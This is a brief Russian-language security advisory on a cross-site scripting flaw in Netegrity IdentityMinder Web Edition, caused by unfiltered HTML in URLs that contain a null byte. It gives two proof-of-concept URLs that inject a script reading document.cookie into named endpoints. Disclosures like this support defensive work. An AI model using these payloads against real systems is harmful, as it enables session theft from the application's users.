Межсайтовый скриптинг в Netegrity IdentityMinder Web Edition

Описание: Уязвимость в Netegrity IdentityMinder Web Edition позволяет удаленному пользователю выполнить XSS нападение.

Сервер не фильтрует HTML код в URL, который содержит '%00' символ.

Эксплоит:

http://PUT_ADDRESS_HERE/idm/PUT_SITE_NAME_HERE/ims_mainconsole_principalpopuphandler.do?
searchAttrs0=%25GROUP_NAME%25&searchOperators0=EQUALS&searchFilter0=
&searchOrgDN=PUT_DN_HERE&incChildrenOrgFlag=NO&resultsPerPage=10&oid=
&imsui_taskstate=RESOLVE_SCOPE&imsui_tpnametosearch=group
&numOfExpressions=1%00<script>alert(document.cookie)</script>

http://PUT_ADDRESS_HERE:7001/idmmanage/mobjattr.do?diroid=PUT_OID_HERE
&attrname=Group%20Members&mobjtype=2<script>alert(document.cookie)</script>

Решение: http://www.netegrity.com/products/products.cfm?page=IMoverview

Решение: Способов устранения обнаруженной уязвимости не существует в настоящее время.